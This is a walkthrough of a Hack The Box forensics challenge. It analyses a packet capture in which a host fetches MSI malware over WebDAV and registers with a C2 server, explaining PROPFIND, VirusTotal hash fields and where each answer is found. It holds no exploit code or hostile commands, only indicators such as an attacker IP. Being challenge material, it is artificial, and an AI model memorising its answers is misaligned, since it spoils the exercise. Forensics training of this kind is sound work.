HTB: Sherlock — Interceptor

Scenario

A recent anomaly has been detected in our network traffic, suggesting a potential breach. Our team suspects that an unauthorized entity has infiltrated our systems and accessed confidential company data. Your mission is to unravel this mystery, understand the breach, and determine the extent of the compromised data.

Artifacts Provided

• Interceptor.zip - SHA256:420fc45fb2a14469073c3fc93e5702c5cead5f787e55e97b452d86f64b0ee9e0
• interceptor.pcap - SHA256:0e4b27b977b6655dcc8533e9af4c4beccd4e11288072d10e2646cfa0ed0b9ee3 (included in the ZIP)

Initial Analysis

We open the PCAP in wireshark to see what’re we dealing with. Checking for protocol hierarchy statictics we see 99% TCP packets with 21% TLS. We also have 78 HTTP packets and 60 data ones, which is something interesting for us to inspect. For conversations we see that one of the two IPv4 addresses is always 10.4.17.101. We can suspect that this is the “local” one or the one the PCAP was captured. Lastly one other interesting fact is that the two external IPs with the most packets were 87.249.49.206 & 142.250.115.95 but this can be misleading and it doesn’t mean anything on its own. Let’s dive into it!

Questions

1. What IP address did the original suspicious traffic come from?

So that one is the one we suspected as the originating IP of the local host we examine. But we can confirm that if we filter for http traffic, as all traffic come from one local IP.

2. The attacker downloaded a suspicious file. What is the HTTP method used to retrieve the properties of this file?

This is WebDAV traffic. Local host using the OS WebDAV client to talk to the remote server (87.249.49.206 / krd6.com) and enumerate/download files. The method here is a WebDAV (RFC 4918) method used to read properties of a resource and to enumerate collections.

WebDAV (Web Distributed Authoring and Versioning)

is an extension to HTTP/1.1 that lets a client not just download but also list, upload, edit, and manage files on a remote web server — basically turning HTTP into a remote filesystem. It adds new HTTP methods (verbs) like:

• OPTIONS → check what features the server supports

• PROPFIND → list files/folders or metadata

• MKCOL → create folders

• PUT → upload a file

• MOVE, COPY, DELETE → manipulate files remotely

3. It appears that this file is malware. What is its filename?

If we observe the HTTP traffic we will see after the initial reconnaissance of the attacker, we see also a GET request for it.

4. What is the SSDEEP hash of the malware as reported by VirusTotal?

We export the malware and give it to VT.

Let’s have a look on what these values mean:

• SSDEEP A context-triggered piecewise (fuzzy) hash (also written ssdeep) used to detect similar files even when they aren’t byte-for-byte identical (e.g., small changes, recompiled binaries, or different MSI wrappers). Good for quick similarity checks: two files with close ssdeep values are likely related variants.

• TLSH Trend Locality Sensitive Hash — another fuzzy / locality-sensitive hash algorithm. Like ssdeep, it gives a similarity measure but using a different algorithm and characteristics (sometimes picks up similarity that ssdeep misses and vice-versa). Useful for clustering and detecting families/variants.

• Magic The output from a “magic bytes” detection (libmagic / UNIX file-style identification). It describes the underlying container/format and sometimes OS/platform and endianness (e.g., “Composite Document File V2 Document, Little Endian…”). This is the raw file-signature interpretation.

• TrID Results from the TrID file-type identification tool. TrID compares byte patterns against a database of known file-type definitions and returns probabilities. The percentages next to each entry (e.g., “Microsoft Windows Installer (80%) …”) are TrID’s confidence scores for that classification. It’s another way to confirm file type and possible embedded formats.

• (Magika / Magik / Magika) This field in VT is an additional file-format / magic detector (an alternate identification engine VT runs). It’s usually a short label that repeats the format (here it shows MSI). Think of it as another corroborating file-type label. (Different VT UIs may call this slightly different names; it’s just another detector’s output.)

5. According to the NeikiAnalytics community comment on VirusTotal, to which family does the malware belong?

From the VT comments.

6. What is the creation time of the malware?

From VT Details again.

7. What is the domain name that the malware is trying to connect with?

It’s the first DNS request after the malware has been downloaded.

8. What is the IP address that the attacker has consistently used for communication?

The domain above one is not related to the IP on this question. Looking at the HTTP traffic is evident which IPv4 is used for comms to the C2 server from the attacker.

9. Which file, included in the original package, is extracted and utilized by the malware during execution?

This can be found from VT relations or by looking at the raw TCP bytes when the attacker downloaded the malware.

10. What program is used to execute the malware?

This can be found from VT Behavior or by looking at the raw TCP bytes again when the attacker downloaded the malware.

11. What is the hostname of the compromised machine?

From the Browser protocol. The “BROWSER” packets are just Windows LAN discovery/advertising traffic showing the internal host.

12. What is the key that was used in the attack?

To find the key we go to the frame that the malware registers with its malicious API. The response contains the key.

13. What is the os_version of the compromised machine?

Again in the initial “registration” of the malware in its remote API it publishes lots of info from the host. In the POST request to the /api/gateway we can find that information.

14. What is the owner name of the compromised machine?

In the same frame as above.

15. After decrypting the communication from the malware, what command is revealed to be sent to the C2 server?

This was a bit strange in terms of question and expected answer but we can also get this from the Discussions in VT and actually in the first comment. It is basically the first command after the registration to the C2 server.